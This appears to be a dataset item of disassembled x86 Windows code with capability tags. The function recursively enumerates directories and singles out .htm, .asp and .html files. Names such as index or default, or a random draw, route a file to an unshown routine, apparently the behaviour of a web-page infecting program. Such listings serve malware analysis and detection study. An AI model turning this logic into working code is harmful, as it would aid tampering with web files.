Function at 0x373733aa
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x144
push ebx
mov ebx, dword [esp + 0x14c]
push esi
push edi
push ebx
call fcn.37373604
cmp eax, 4
pop ecx
jg 0x373733e0
mov edi, 0x400
push edi
push 8
push dword [0x3737ad14]
call dword [0x3737acd4]
mov esi, eax
test esi, esi
jne 0x373733e7
xor eax, eax
jmp 0x373735fa
push edi
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
call fcn.3737186e
push ebx
call sub.MSVCRT.dll_strlen
mov ebx, dword [sym.imp.MSVCRT.dll_strncat]
mov ecx, edi
sub ecx, eax
push ecx
push str..
push esi
call ebx
add esp, 0x20
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x3737342e
xor edi, edi
jmp 0x373735e9
lea eax, [esp + 0x3c]
push ebp
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [esp + 0x44]
mov dword [esp], 0x37379010
push eax
call sub.MSVCRT.dll_strcmp
mov ebp, dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x373735a3
lea eax, [esp + 0x40]
push 0x37379488
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x373735a3
test byte [esp + 0x14], 0x10
je 0x373734be
push edi
push dword [esp + 0x15c]
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
call sub.MSVCRT.dll_strlen
mov ecx, edi
sub ecx, eax
push ecx
push 0x37379484
push esi
call ebx
push esi
call sub.MSVCRT.dll_strlen
mov ecx, edi
sub ecx, eax
lea eax, [esp + 0x60]
push ecx
push eax
push esi
call ebx
push esi
call fcn.373733aa
add esp, 0x30
jmp 0x373735a3
lea eax, [esp + 0x40]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 4
pop ecx
jbe 0x373735a3
lea eax, [esp + 0x40]
push str..htm
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [esp + eax + 0x40]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x37373532
lea eax, [esp + 0x40]
push str..asp
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [esp + eax + 0x40]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x37373532
lea eax, [esp + 0x40]
push str.html
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [esp + eax + 0x40]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x373735a3
lea eax, [esp + 0x40]
push str.default
push eax
call ebp
pop ecx
test eax, eax
pop ecx
jne 0x37373590
lea eax, [esp + 0x40]
push str.index
push eax
call ebp
pop ecx
test eax, eax
pop ecx
jne 0x37373590
lea eax, [esp + 0x40]
push str.main
push eax
call ebp
pop ecx
test eax, eax
pop ecx
jne 0x37373590
lea eax, [esp + 0x40]
push str.readme
push eax
call ebp
pop ecx
test eax, eax
pop ecx
jne 0x37373590
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x64
cdq
mov ecx, 0x7fff
idiv ecx
cmp eax, 0x62
jle 0x373735a3
lea eax, [esp + 0x40]
push eax
push dword [esp + 0x15c]
call fcn.37373623
pop ecx
pop ecx
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x373735db
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [esp + 0x44]
mov dword [esp], 0x37379010
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jmp 0x37373455
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 1
pop edi
pop ebp
push esi
push 0
push dword [0x3737ad14]
call dword [0x3737acd0]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x144
ret